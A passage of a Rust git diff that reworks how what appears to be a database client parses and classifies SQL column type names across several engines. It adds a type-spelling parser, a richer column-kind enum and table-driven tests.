ColumnKind) -> bool { - !matches!( - kind, - ColumnKind::Boolean - | ColumnKind::Integer(_) - | ColumnKind::Float(_) - | ColumnKind::Date - | ColumnKind::Time - | ColumnKind::Timestamp - | ColumnKind::Uuid - ) +fn clickhouse_decimal(precision: u32, scale: Option) -> ColumnKind { + ColumnKind::Decimal { + precision: Some(precision), + scale, + } +} + +fn character(base: &str, spelling: &TypeSpelling<'_>) -> ColumnKind { + let length = spelling.number(0); + let length = match (spelling.has_word("varying"), length) { + (true, length) => varying(length), + (false, Some(length)) => TextLength::Fixed(length), + // PostgreSQL `bpchar` with no length takes any length. + (false, None) if base == "bpchar" => TextLength::Unbounded, + // SQL gives `char` with no length a length of one. + (false, None) => TextLength::Fixed(1), + }; + ColumnKind::Text { length } +} + +fn varying(length: Option) -> TextLength { + length.map_or(TextLength::Unbounded, TextLength::Varying) +} + +/// A type name cut at its first parentheses: `timestamp(6) with time +/// zone` is the words `timestamp with time zone` and the argument `6`. +struct TypeSpelling<'a> { + /// Lowercased, from before and after the parentheses. + words: Vec, + /// Inside the parentheses, in the original case, because an enum + /// label or a zone name is case-sensitive. + arguments: Option<&'a str>, +} + +impl<'a> TypeSpelling<'a> { + fn split(text: &'a str) -> Self { + let (head, arguments, tail) = match text.find('(') { + None => (text, None, ""), + Some(open) => match matching_paren(text, open) { + Some(close) => (&text[..open], Some(&text[open + 1..close]), &text[close + 1..]), + None => (&text[..open], None, ""), + }, + }; + let words = head + .split_whitespace() + .chain(tail.split_whitespace()) + .map(str::to_ascii_lowercase) + .collect(); + Self { words, arguments } + } + + fn base(&self) -> &str { + self.words.first().map_or("", String::as_str) + } + + fn has_word(&self, word: &str) -> bool { + self.words.iter().skip(1).any(|candidate| candidate == word) + } + + fn has_time_zone(&self) -> bool { + self.words + .windows(3) + .any(|window| window[0] == "with" && window[1] == "time" && window[2] == "zone") + } + + /// MySQL spells the unsigned integers as a suffix, and ZEROFILL + /// implies UNSIGNED: `bigint(20) unsigned zerofill`. + fn is_unsigned(&self) -> bool { + self.has_word("unsigned") || self.has_word("zerofill") + } + + /// The argument at `index` as a number, or `None` where it is + /// missing or not one, as in `varchar(max)`. + fn number(&self, index: usize) -> Option { + self.arguments?.split(',').nth(index)?.trim().parse().ok() + } + + fn fractional_digits(&self) -> Option { + self.number(0).and_then(|digits| u8::try_from(digits).ok()) + } + + /// Every quoted string among the arguments, unescaped: the labels + /// of `enum('a','it''s')`, the zone of `DateTime64(3, 'UTC')`. + fn quoted_arguments(&self) -> Vec { + self.arguments.map(quoted_strings).unwrap_or_default() + } +} + +/// The byte index of the `)` that closes the `(` at `open`. Quoted text +/// is skipped, so an enum label holding a parenthesis does not end the +/// list early. +fn matching_paren(text: &str, open: usize) -> Option { + let mut depth = 0usize; + let mut quoted = false; + for (index, byte) in text.bytes().enumerate().skip(open) { + match byte { + b'\'' => quoted = !quoted, + b'(' if !quoted => depth += 1, + b')' if !quoted => { + depth = depth.saturating_sub(1); + if depth == 0 { + return Some(index); + } + } + _ => {} + } + } + None +} + +fn quoted_strings(text: &str) -> Vec { + let mut found = Vec::new(); + let mut chars = text.chars().peekable(); + while let Some(next) = chars.next() { + if next != '\'' { + continue; + } + let mut value = String::new(); + loop { + match chars.next() { + Some('\'') if chars.peek() == Some(&'\'') => { + chars.next(); + value.push('\''); + } + Some('\'') | None => break, + Some(other) => value.push(other), + } + } + found.push(value); + } + found } #[cfg(test)] mod tests { use super::*; - #[test] - fn a_declared_length_does_not_change_the_kind() { - assert_eq!(classify_type_name("varchar(255)"), ColumnKind::Text(TextKind::Variable)); - assert_eq!(classify_type_name("numeric(10,2)"), ColumnKind::Decimal); - assert_eq!(classify_type_name("DECIMAL(38, 10)"), ColumnKind::Decimal); + fn int(width: IntegerWidth, signed: bool) -> ColumnKind { + ColumnKind::Integer(IntegerKind { width, signed }) } - #[test] - fn each_engines_spelling_of_the_same_thing_agrees() { - for name in ["bigint", "int8", "BIGSERIAL"] { - assert_eq!( - classify_type_name(name), - ColumnKind::Integer(IntegerKind::I64), - "{name}" - ); - } - for name in ["timestamp", "datetime", "DateTime64(3)", "timestamptz"] { - assert_eq!(classify_type_name(name), ColumnKind::Timestamp, "{name}"); - } - for name in ["bytea", "blob", "varbinary(max)"] { - assert_eq!(classify_type_name(name), ColumnKind::Binary, "{name}"); + fn text(length: TextLength) -> ColumnKind { + ColumnKind::Text { length } + } + + fn stamp(fractional_digits: Option, zone: TemporalZone) -> ColumnKind { + ColumnKind::Timestamp { + fractional_digits, + zone, } } - #[test] - fn an_unknown_type_is_other_rather_than_a_guess() { - assert_eq!(classify_type_name("hstore"), ColumnKind::Other); - assert_eq!(classify_type_name("tsvector"), ColumnKind::Other); + fn labels(labels: &[&str], multiple: bool) -> ColumnKind { + ColumnKind::Enum { + labels: labels.iter().map(|label| (*label).to_owned()).collect(), + multiple, + } } #[test] - fn an_array_is_an_array_whatever_its_element() { - assert_eq!(classify_type_name("integer[]"), ColumnKind::Array); - assert_eq!(classify_type_name("text[]"), ColumnKind::Array); - assert_eq!(classify_type_name("Array(Int64)"), ColumnKind::Array); + fn classify_type_name_table() { + let cases = [ + ("bigint", int(IntegerWidth::W64, true)), + ("int8", int(IntegerWidth::W64, true)), + ("BIGSERIAL", int(IntegerWidth::W64, true)), + ("int", int(IntegerWidth::W32, true)), + ("int unsigned", int(IntegerWidth::W32, false)), + ("bigint(20) unsigned zerofill", int(IntegerWidth::W64, false)), + ("mediumint unsigned", int(IntegerWidth::W24, false)), + ("UInt256", int(IntegerWidth::W256, false)), + ("boolean", ColumnKind::Bool(BoolStorage::Native)), + ("real", ColumnKind::Float(FloatWidth::F32)), + ("double precision", ColumnKind::Float(FloatWidth::F64)), + ( + "numeric(10,2)", + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2), + }, + ), + ( + "DECIMAL(38, 10)", + ColumnKind::Decimal { + precision: Some(38), + scale: Some(10), + }, + ), + ( + "numeric(10)", + ColumnKind::Decimal { + precision: Some(10), + scale: Some(0), + }, + ), + ( + "numeric", + ColumnKind::Decimal { + precision: None, + scale: None, + }, + ), + ( + "Decimal64(4)", + ColumnKind::Decimal { + precision: Some(18), + scale: Some(4), + }, + ), + ("money", ColumnKind::Money { scale: None }), + ("varchar(255)", text(TextLength::Varying(255))), + ("character varying(255)", text(TextLength::Varying(255))), + ("nvarchar(max)", text(TextLength::Unbounded)), + ("char(10)", text(TextLength::Fixed(10))), + ("character", text(TextLength::Fixed(1))), + ("bpchar", text(TextLength::Unbounded)), + ("text", text(TextLength::Unbounded)), + ("LowCardinality(String)", text(TextLength::Unbounded)), + ( + "bytea", + ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + ), + ( + "varbinary(max)", + ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + ), + ( + "binary(16)", + ColumnKind::Bytes { + length: TextLength::Fixed(16), + }, + ), + ("date", ColumnKind::Date), + ( + "time(3)", + ColumnKind::Time { + fractional_digits: Some(3), + with_offset: false, + range: TimeRange::TimeOfDay, + }, + ), + ( + "time with time zone", + ColumnKind::Time { + fractional_digits: None, + with_offset: true, + range: TimeRange::TimeOfDay, + }, + ), + ("timestamp", stamp(None, TemporalZone::Naive)), + ("timestamp(6) with time zone", stamp(Some(6), TemporalZone::Offset)), + ("timestamp without time zone", stamp(None, TemporalZone::Naive)), + ("timestamptz", stamp(None, TemporalZone::Offset)), + ("datetime(6)", stamp(Some(6), TemporalZone::Naive)), + ("datetimeoffset(7)", stamp(Some(7), TemporalZone::Offset)), + ("DateTime64(3)", stamp(Some(3), TemporalZone::Naive)), + ( + "DateTime64(3, 'Europe/Paris')", + stamp(Some(3), TemporalZone::Named("Europe/Paris".to_owned())), + ), + ("DateTime('UTC')", stamp(None, TemporalZone::Named("UTC".to_owned()))), + ("interval", ColumnKind::Interval), + ("uniqueidentifier", ColumnKind::Uuid), + ("json", ColumnKind::Json { binary: false }), + ("jsonb", ColumnKind::Json { binary: true }), + ("enum('Draft','It''s')", labels(&["Draft", "It's"], false)), + ("Enum8('a' = 1, 'b(2)' = 2)", labels(&["a", "b(2)"], false)), + ("set('x','y')", labels(&["x", "y"], true)), + ( + "bit", + ColumnKind::BitString { + length: None, + varying: false, + }, + ), + ( + "bit varying(5)", + ColumnKind::BitString { + length: Some(5), + varying: true, + }, + ), + ("cidr", ColumnKind::Network(NetworkFamily::Cidr)), + ("macaddr8", ColumnKind::Network(NetworkFamily::MacAddr8)), + ("IPv6", ColumnKind::Network(NetworkFamily::Ipv6)), + ("xml", ColumnKind::Xml), + ("geography", ColumnKind::Spatial), + ("Map(String, UInt64)", ColumnKind::Composite), + ("sql_variant", ColumnKind::Variant), + ("Nullable(Int64)", int(IntegerWidth::W64, true)), + ("integer[]", array_of(int(IntegerWidth::W32, true))), + ("text[][]", array_of(array_of(text(TextLength::Unbounded)))), + ("Array(Nullable(UInt8))", array_of(int(IntegerWidth::W8, false))), + ("ARRAY", array_of(ColumnKind::Other)), + ("hstore", ColumnKind::Other), + ("tsvector", ColumnKind::Other), + ("", ColumnKind::Other), + ]; + + for (name, expected) in cases { + assert_eq!(classify_type_name(name), expected, "{name:?}"); + } } #[test] - fn an_unsigned_suffix_changes_the_range() { - assert_eq!( - classify_type_name("int unsigned"), - ColumnKind::Integer(IntegerKind::U32), - "an unsigned column was read as signed, so half its range would be out of bounds" - ); - assert_eq!( - classify_type_name("bigint(20) unsigned zerofill"), - ColumnKind::Integer(IntegerKind::U64) - ); - assert_eq!(classify_type_name("int"), ColumnKind::Integer(IntegerKind::I32)); + fn a_bit_column_is_bits_not_a_boolean() { + assert!(matches!(classify_type_name("bit(8)"), ColumnKind::BitString { .. })); + assert!(matches!(classify_type_name("boolean"), ColumnKind::Bool(_))); } #[test] - fn a_bit_column_is_bits_not_a_boolean() { - assert_eq!(classify_type_name("bit"), ColumnKind::BitString); - assert_eq!(classify_type_name("bit(8)"), ColumnKind::BitString); - assert_eq!(classify_type_name("boolean"), ColumnKind::Boolean); + fn deep_nesting_stops_at_other_rather_than_exhausting_the_stack() { + let mut kind = classify_type_name(&format!("int{}", "[]".repeat(10_000))); + + let mut depth = 0; + while let ColumnKind::Array { element } = kind { + kind = *element; + depth += 1; + } + assert_eq!(kind, ColumnKind::Other); + assert_eq!(depth, MAX_NESTING + 1); } #[test] fn a_fixed_width_type_has_no_dynamic_storage() { - assert!(!has_dynamic_storage(ColumnKind::Integer(IntegerKind::I32))); - assert!(!has_dynamic_storage(ColumnKind::Timestamp)); - assert!(has_dynamic_storage(ColumnKind::Text(TextKind::Variable))); - assert!(has_dynamic_storage(ColumnKind::Other)); + assert!(!has_dynamic_storage(&int(IntegerWidth::W32, true))); + assert!(!has_dynamic_storage(&stamp(None, TemporalZone::Naive))); + assert!(has_dynamic_storage(&text(TextLength::Varying(10)))); + assert!(has_dynamic_storage(&ColumnKind::Other)); } } diff --git a/linux/crates/core/src/column/column_info.rs b/linux/crates/core/src/column/column_info.rs index 3f441b1ea5..fa66f03702 100644 --- a/linux/crates/core/src/column/column_info.rs +++ b/linux/crates/core/src/column/column_info.rs @@ -43,20 +43,25 @@ impl ColumnInfo { #[cfg(test)] mod tests { - use super::super::{ColumnKind, IntegerKind, ReadForm, SqlExpression, SqlTypeExpr}; + use super::super::{CatalogType, ColumnKind, IntegerKind, IntegerWidth, ReadForm, SqlExpression, SqlTypeExpr}; use super::*; - use crate::column::CatalogType; fn column(name: &str) -> ColumnInfo { ColumnInfo { name: name.to_owned(), - column_type: ColumnType::new( - SqlTypeExpr::from_catalog_text("integer"), - ColumnKind::Integer(IntegerKind::I32), - CatalogType::Oid(23), - false, - ReadForm::Native, - ), + column_type: ColumnType { + name: "integer".to_owned(), + kind: ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text("integer"), + cast_target: SqlTypeExpr::from_catalog_text("integer"), + }), + dynamic_storage: false, + read_form: ReadForm::Native, + }, nullable: false, primary_key: false, is_auto_increment: false, diff --git a/linux/crates/core/src/column/column_type.rs b/linux/crates/core/src/column/column_type.rs index 03cfbcc60f..061903be0c 100644 --- a/linux/crates/core/src/column/column_type.rs +++ b/linux/crates/core/src/column/column_type.rs @@ -1,138 +1,44 @@ -use super::{ColumnKind, ReadForm, SqlTypeExpr}; +use super::{CatalogType, ColumnKind, ReadForm}; /// A column's type: what the app needs to render and edit it, plus the -/// server's own spelling for round-tripping it into DDL. +/// server's own spelling for splicing it into DDL and casts. #[derive(Debug, Clone, PartialEq, Eq)] pub struct ColumnType { - /// What the user sees, which is the server's spelling. - name: SqlTypeExpr, - kind: ColumnKind, - catalog: CatalogType, + /// What the user sees. Never spliced into SQL: that is what + /// `catalog` is for. + pub name: String, + pub kind: ColumnKind, + /// `None` where the driver has no server spelling to quote, as for + /// most result-set columns. A dialect then refuses to guess a cast. + pub catalog: Option, /// Whether the server decides the stored width per row, so a /// declared length is a cap rather than a promise. - dynamic_storage: bool, - read_form: ReadForm, -} - -/// The engine's own identification of the type, which the driver needs -/// to bind a parameter back. -#[derive(Debug, Clone, PartialEq, Eq)] -pub enum CatalogType { - /// No catalogue identifier: the type is known only by its name. - Unknown, - /// PostgreSQL pg_type.oid, and any engine that numbers its types. - Oid(u32), - /// A named catalogue entry, such as a MySQL column_type string or a - /// ClickHouse type expression. - Named(SqlTypeExpr), + pub dynamic_storage: bool, + pub read_form: ReadForm, } impl ColumnType { - pub fn new( - name: SqlTypeExpr, - kind: ColumnKind, - catalog: CatalogType, - dynamic_storage: bool, - read_form: ReadForm, - ) -> Self { - Self { - name, - kind, - catalog, - dynamic_storage, - read_form, - } - } - /// A stand-in for a column whose type is not known yet, used /// while the catalogue is still loading. /// - /// It names no server type, so nothing can paste it into DDL: a - /// caller that needs the server's own spelling has to wait for the - /// catalogue rather than invent one. + /// It has no catalogue entry, so nothing can splice it into DDL or + /// a cast: a caller that needs the server's own spelling has to + /// wait for the catalogue rather than invent one. pub fn unknown() -> Self { - Self { - name: SqlTypeExpr::from_catalog_text(""), - kind: ColumnKind::Other, - catalog: CatalogType::Unknown, - dynamic_storage: true, - read_form: ReadForm::ServerText, - } + Self::untyped_text(String::new()) } /// The fallback for a type no driver placed: the value is the /// server's text and the grid treats it as such. - pub fn untyped_text(name: SqlTypeExpr) -> Self { + pub fn untyped_text(name: impl Into) -> Self { Self { - name, + name: name.into(), kind: ColumnKind::Other, - catalog: CatalogType::Unknown, + catalog: None, dynamic_storage: true, read_form: ReadForm::ServerText, } } - - pub fn name(&self) -> &SqlTypeExpr { - &self.name - } - - pub fn kind(&self) -> ColumnKind { - self.kind - } - - pub fn catalog(&self) -> &CatalogType { - &self.catalog - } - - pub fn dynamic_storage(&self) -> bool { - self.dynamic_storage - } - - pub fn read_form(&self) -> ReadForm { - self.read_form - } - - /// The fractional-second digits the column declares, as in - /// `timestamp(6)`. - /// - /// `None` where the type names none, which is not the same as zero: - /// a value's own fraction is then all anyone knows about it. - pub fn fractional_digits(&self) -> Option { - if !matches!(self.kind, ColumnKind::Time | ColumnKind::Timestamp) { - return None; - } - type_arguments(self.name.as_sql()).first().copied() - } - - /// The digits after the decimal point the column declares, as in - /// `numeric(38,10)`. - pub fn decimal_scale(&self) -> Option { - if self.kind != ColumnKind::Decimal { - return None; - } - let arguments = type_arguments(self.name.as_sql()); - match arguments.len() { - // `numeric(10)` is `numeric(10,0)`. - 1 => Some(0), - _ => arguments.get(1).copied(), - } - } -} - -/// The numbers inside a type's parentheses, in order. A type with none, -/// or with anything that is not a number, has no arguments to read. -fn type_arguments(sql: &str) -> Vec { - let Some(open) = sql.find('(') else { - return Vec::new(); - }; - let Some(close) = sql[open..].find(')') else { - return Vec::new(); - }; - sql[open + 1..open + close] - .split(',') - .map(|part| part.trim().parse::()) - .collect::, _>>() - .unwrap_or_default() } #[cfg(test)] @@ -143,80 +49,19 @@ mod tests { fn an_unknown_type_names_nothing_the_server_would_recognise() { let unknown = ColumnType::unknown(); - assert_eq!(unknown.name().as_sql(), ""); - assert_eq!(unknown.kind(), ColumnKind::Other); - } - - #[test] - fn a_declared_precision_is_read_from_the_type_the_server_named() { - let stamp = ColumnType::new( - SqlTypeExpr::from_catalog_text("timestamp(6) with time zone"), - ColumnKind::Timestamp, - CatalogType::Unknown, - false, - ReadForm::Native, - ); - - assert_eq!(stamp.fractional_digits(), Some(6)); - assert_eq!(stamp.decimal_scale(), None, "a timestamp has no decimal scale"); - } - - #[test] - fn a_type_with_no_parentheses_declares_no_precision() { - let stamp = ColumnType::new( - SqlTypeExpr::from_catalog_text("timestamptz"), - ColumnKind::Timestamp, - CatalogType::Unknown, - false, - ReadForm::Native, - ); - - assert_eq!(stamp.fractional_digits(), None); - } - - #[test] - fn a_decimal_reads_its_scale_and_defaults_it_to_zero() { - let scaled = ColumnType::new( - SqlTypeExpr::from_catalog_text("numeric(38,10)"), - ColumnKind::Decimal, - CatalogType::Unknown, - false, - ReadForm::Native, - ); - let whole = ColumnType::new( - SqlTypeExpr::from_catalog_text("numeric(10)"), - ColumnKind::Decimal, - CatalogType::Unknown, - false, - ReadForm::Native, - ); - - assert_eq!(scaled.decimal_scale(), Some(10)); - assert_eq!(whole.decimal_scale(), Some(0)); - } - - #[test] - fn a_length_is_not_read_as_a_precision() { - let text = ColumnType::new( - SqlTypeExpr::from_catalog_text("varchar(255)"), - ColumnKind::Text(crate::column::TextKind::Variable), - CatalogType::Unknown, - true, - ReadForm::Native, - ); - - assert_eq!(text.fractional_digits(), None); - assert_eq!(text.decimal_scale(), None); + assert_eq!(unknown.name, ""); + assert_eq!(unknown.kind, ColumnKind::Other); + assert_eq!(unknown.catalog, None); } #[test] fn untyped_text_reads_as_server_text() { - let column = ColumnType::untyped_text(SqlTypeExpr::from_catalog_text("geography")); + let column = ColumnType::untyped_text("geography"); - assert_eq!(column.kind(), ColumnKind::Other); - assert_eq!(column.read_form(), ReadForm::ServerText); - assert_eq!(column.catalog(), &CatalogType::Unknown); - assert!(column.dynamic_storage()); - assert_eq!(column.name().as_sql(), "geography"); + assert_eq!(column.kind, ColumnKind::Other); + assert_eq!(column.read_form, ReadForm::ServerText); + assert_eq!(column.catalog, None); + assert!(column.dynamic_storage); + assert_eq!(column.name, "geography"); } } diff --git a/linux/crates/core/src/column/integer_kind.rs b/linux/crates/core/src/column/integer_kind.rs new file mode 100644 index 0000000000..55f5a4045c --- /dev/null +++ b/linux/crates/core/src/column/integer_kind.rs @@ -0,0 +1,67 @@ +use std::fmt; + +/// An integer column's storage width and sign. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct IntegerKind { + pub width: IntegerWidth, + pub signed: bool, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum IntegerWidth { + W8, + W16, + /// MySQL MEDIUMINT. + W24, + W32, + W64, + W128, + /// ClickHouse Int256 and UInt256. + W256, +} + +impl IntegerWidth { + pub const ALL: [IntegerWidth; 7] = [ + IntegerWidth::W8, + IntegerWidth::W16, + IntegerWidth::W24, + IntegerWidth::W32, + IntegerWidth::W64, + IntegerWidth::W128, + IntegerWidth::W256, + ]; + + pub fn bits(self) -> u32 { + match self { + Self::W8 => 8, + Self::W16 => 16, + Self::W24 => 24, + Self::W32 => 32, + Self::W64 => 64, + Self::W128 => 128, + Self::W256 => 256, + } + } +} + +impl fmt::Display for IntegerKind { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let sign = if self.signed { "signed" } else { "unsigned" }; + write!(f, "{sign} {}-bit", self.width.bits()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn an_integer_kind_names_its_sign_and_width() { + let kind = IntegerKind { + width: IntegerWidth::W24, + signed: false, + }; + + assert_eq!(kind.to_string(), "unsigned 24-bit"); + } +} diff --git a/linux/crates/core/src/column/kind.rs b/linux/crates/core/src/column/kind.rs index c1b7e92f19..50227f3580 100644 --- a/linux/crates/core/src/column/kind.rs +++ b/linux/crates/core/src/column/kind.rs @@ -1,145 +1,225 @@ +use super::{BoolStorage, FloatWidth, IntegerKind, NetworkFamily, TemporalZone, TextLength, TimeRange}; + /// What a column holds, independent of the engine's spelling for it. /// /// The UI picks an editor, a default alignment and an empty-string rule /// from this rather than from the type name, so a new engine spelling /// never needs a new branch in the grid. -#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +#[derive(Debug, Clone, PartialEq, Eq)] pub enum ColumnKind { - Boolean, + Bool(BoolStorage), Integer(IntegerKind), - Decimal, - Float(FloatKind), - Text(TextKind), - Binary, + Float(FloatWidth), + Decimal { + precision: Option, + scale: Option, + }, + Money { + scale: Option, + }, + Text { + length: TextLength, + }, + Enum { + labels: Vec, + /// MySQL SET: the value is any combination of the labels. + multiple: bool, + }, + Bytes { + length: TextLength, + }, + Uuid, + Json { + binary: bool, + }, Date, - Time, - Timestamp, + Time { + fractional_digits: Option, + with_offset: bool, + range: TimeRange, + }, + Timestamp { + fractional_digits: Option, + zone: TemporalZone, + }, Interval, - Uuid, - Json, - Enumeration, - Set, - BitString, - Network, - Geometry, - Array, + BitString { + length: Option, + varying: bool, + }, + Network(NetworkFamily), + Xml, + Spatial, + Array { + element: Box, + }, + /// A value whose type is chosen per row: ClickHouse Variant, SQL + /// Server sql_variant. + Variant, + /// ClickHouse Map, Tuple, Nested, Dynamic, JSON and + /// AggregateFunction, and PostgreSQL composite types. + Composite, /// The driver could not place the type. The value round-trips as the /// server's own text. Other, } -#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord)] -pub enum IntegerKind { - I8, - U8, - I16, - U16, - I32, - U32, - I64, - U64, - I128, - U128, -} - -#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] -pub enum FloatKind { - F32, - F64, -} - -#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] -pub enum TextKind { - /// Padded to a fixed length by the server, so a trailing-space diff - /// is the server's doing and not the user's. - Fixed, - Variable, - /// A large object the grid shows truncated. - Large, -} - impl ColumnKind { - pub fn is_textual(self) -> bool { - matches!(self, Self::Text(_) | Self::Json | Self::Enumeration | Self::Set) + pub fn is_textual(&self) -> bool { + matches!(self, Self::Text { .. } | Self::Enum { .. } | Self::Xml | Self::Other) } - pub fn is_numeric(self) -> bool { - matches!(self, Self::Integer(_) | Self::Decimal | Self::Float(_)) + pub fn is_numeric(&self) -> bool { + matches!( + self, + Self::Integer(_) | Self::Float(_) | Self::Decimal { .. } | Self::Money { .. } + ) } - /// Whether an empty cell means the empty string rather than NULL. A - /// numeric or temporal column has no empty value, so clearing the - /// cell there can only mean NULL. - pub fn accepts_empty_string(self) -> bool { - self.is_textual() || matches!(self, Self::Binary | Self::BitString) + /// Whether an empty cell means the empty string rather than NULL. + /// Anywhere else the empty string is not a value the column can + /// hold, so clearing the cell can only mean NULL. + pub fn accepts_empty_string(&self) -> bool { + match self { + Self::Text { .. } | Self::Other => true, + Self::Enum { labels, .. } => labels.iter().any(String::is_empty), + _ => false, + } } /// Whether a line break belongs in the value. The grid keeps a /// single-line editor for everything else, so Enter commits. - pub fn accepts_line_breaks(self) -> bool { - matches!( - self, - Self::Text(TextKind::Large) | Self::Text(TextKind::Variable) | Self::Json - ) + pub fn accepts_line_breaks(&self) -> bool { + matches!(self, Self::Text { .. } | Self::Json { .. } | Self::Xml | Self::Other) } -} - -impl IntegerKind { - pub const ALL: [IntegerKind; 10] = [ - IntegerKind::I8, - IntegerKind::U8, - IntegerKind::I16, - IntegerKind::U16, - IntegerKind::I32, - IntegerKind::U32, - IntegerKind::I64, - IntegerKind::U64, - IntegerKind::I128, - IntegerKind::U128, - ]; - pub fn is_signed(self) -> bool { - matches!(self, Self::I8 | Self::I16 | Self::I32 | Self::I64 | Self::I128) + /// The fractional-second digits a time or timestamp column declares, + /// as in `timestamp(6)`. + /// + /// `None` where the type names none, which is not the same as zero: + /// a value's own fraction is then all anyone knows about it. + pub fn fractional_digits(&self) -> Option { + match self { + Self::Time { fractional_digits, .. } | Self::Timestamp { fractional_digits, .. } => *fractional_digits, + _ => None, + } } - /// Inclusive range the kind can hold, as i128 where it fits. - pub fn signed_bounds(self) -> Option<(i128, i128)> { + /// The digits after the decimal point a decimal or money column + /// declares, as in `numeric(38,10)`. + pub fn decimal_scale(&self) -> Option { match self { - Self::I8 => Some((i128::from(i8::MIN), i128::from(i8::MAX))), - Self::U8 => Some((0, i128::from(u8::MAX))), - Self::I16 => Some((i128::from(i16::MIN), i128::from(i16::MAX))), - Self::U16 => Some((0, i128::from(u16::MAX))), - Self::I32 => Some((i128::from(i32::MIN), i128::from(i32::MAX))), - Self::U32 => Some((0, i128::from(u32::MAX))), - Self::I64 => Some((i128::from(i64::MIN), i128::from(i64::MAX))), - Self::U64 => Some((0, i128::from(u64::MAX))), - Self::I128 => Some((i128::MIN, i128::MAX)), - // u128::MAX does not fit in i128. - Self::U128 => None, + Self::Decimal { scale, .. } => *scale, + Self::Money { scale } => scale.map(u32::from), + _ => None, } } } #[cfg(test)] mod tests { + use super::super::IntegerWidth; use super::*; + fn enumeration(labels: &[&str]) -> ColumnKind { + ColumnKind::Enum { + labels: labels.iter().map(|label| (*label).to_owned()).collect(), + multiple: false, + } + } + #[test] fn column_kind_helpers_table() { + let int = ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }); + let time = ColumnKind::Time { + fractional_digits: None, + with_offset: false, + range: TimeRange::TimeOfDay, + }; + let stamp = ColumnKind::Timestamp { + fractional_digits: Some(6), + zone: TemporalZone::Offset, + }; + // (kind, is_textual, is_numeric, accepts_empty_string, accepts_line_breaks) let cases = [ - (ColumnKind::Text(TextKind::Variable), true, false, true, true), - (ColumnKind::Text(TextKind::Fixed), true, false, true, false), - (ColumnKind::Text(TextKind::Large), true, false, true, true), - (ColumnKind::Json, true, false, true, true), - (ColumnKind::Enumeration, true, false, true, false), - (ColumnKind::Integer(IntegerKind::I32), false, true, false, false), - (ColumnKind::Decimal, false, true, false, false), - (ColumnKind::Float(FloatKind::F64), false, true, false, false), - (ColumnKind::Boolean, false, false, false, false), - (ColumnKind::Binary, false, false, true, false), - (ColumnKind::BitString, false, false, true, false), - (ColumnKind::Timestamp, false, false, false, false), + (ColumnKind::Bool(BoolStorage::Native), false, false, false, false), + (ColumnKind::Bool(BoolStorage::Integer), false, false, false, false), + (int, false, true, false, false), + (ColumnKind::Float(FloatWidth::F64), false, true, false, false), + ( + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2), + }, + false, + true, + false, + false, + ), + (ColumnKind::Money { scale: Some(4) }, false, true, false, false), + ( + ColumnKind::Text { + length: TextLength::Unbounded, + }, + true, + false, + true, + true, + ), + ( + ColumnKind::Text { + length: TextLength::Fixed(4), + }, + true, + false, + true, + true, + ), + (enumeration(&["a", "b"]), true, false, false, false), + (enumeration(&["a", ""]), true, false, true, false), + ( + ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + false, + false, + false, + false, + ), (ColumnKind::Uuid, false, false, false, false), + (ColumnKind::Json { binary: true }, false, false, false, true), + (ColumnKind::Date, false, false, false, false), + (time, false, false, false, false), + (stamp, false, false, false, false), + (ColumnKind::Interval, false, false, false, false), + ( + ColumnKind::BitString { + length: Some(8), + varying: false, + }, + false, + false, + false, + false, + ), + (ColumnKind::Network(NetworkFamily::Inet), false, false, false, false), + (ColumnKind::Xml, true, false, false, true), + (ColumnKind::Spatial, false, false, false, false), + ( + ColumnKind::Array { + element: Box::new(ColumnKind::Uuid), + }, + false, + false, + false, + false, + ), + (ColumnKind::Variant, false, false, false, false), + (ColumnKind::Composite, false, false, false, false), + (ColumnKind::Other, true, false, true, true), ]; for (kind, textual, numeric, empty, breaks) in cases { @@ -151,12 +231,33 @@ mod tests { } #[test] - fn integer_kind_signedness_matches_its_bounds() { - for kind in IntegerKind::ALL { - match kind.signed_bounds() { - Some((low, _)) => assert_eq!(low < 0, kind.is_signed(), "{kind:?}"), - None => assert!(!kind.is_signed(), "{kind:?} has no i128 bounds"), + fn declared_precision_comes_from_the_kind() { + let stamp = ColumnKind::Timestamp { + fractional_digits: Some(6), + zone: TemporalZone::Offset, + }; + let undeclared = ColumnKind::Time { + fractional_digits: None, + with_offset: false, + range: TimeRange::TimeOfDay, + }; + let decimal = ColumnKind::Decimal { + precision: Some(38), + scale: Some(10), + }; + + assert_eq!(stamp.fractional_digits(), Some(6)); + assert_eq!(stamp.decimal_scale(), None, "a timestamp has no decimal scale"); + assert_eq!(undeclared.fractional_digits(), None); + assert_eq!(decimal.decimal_scale(), Some(10)); + assert_eq!(ColumnKind::Money { scale: Some(4) }.decimal_scale(), Some(4)); + assert_eq!( + ColumnKind::Text { + length: TextLength::Varying(255) } - } + .fractional_digits(), + None, + "a length was read as a precision" + ); } } diff --git a/linux/crates/core/src/column/kind_parts.rs b/linux/crates/core/src/column/kind_parts.rs new file mode 100644 index 0000000000..fae997c62f --- /dev/null +++ b/linux/crates/core/src/column/kind_parts.rs @@ -0,0 +1,52 @@ +/// How a boolean column stores its value. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum BoolStorage { + Native, + /// MySQL `tinyint(1)` and SQLite BOOLEAN: the server keeps any + /// integer, so the value stays a `Value::Int` and 2 is not true. + Integer, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum FloatWidth { + F32, + F64, +} + +/// The length a text or byte column declares. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum TextLength { + Unbounded, + Varying(u32), + /// Padded to this length by the server, so a trailing-space diff is + /// the server's doing and not the user's. + Fixed(u32), +} + +/// What a time column measures. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum TimeRange { + 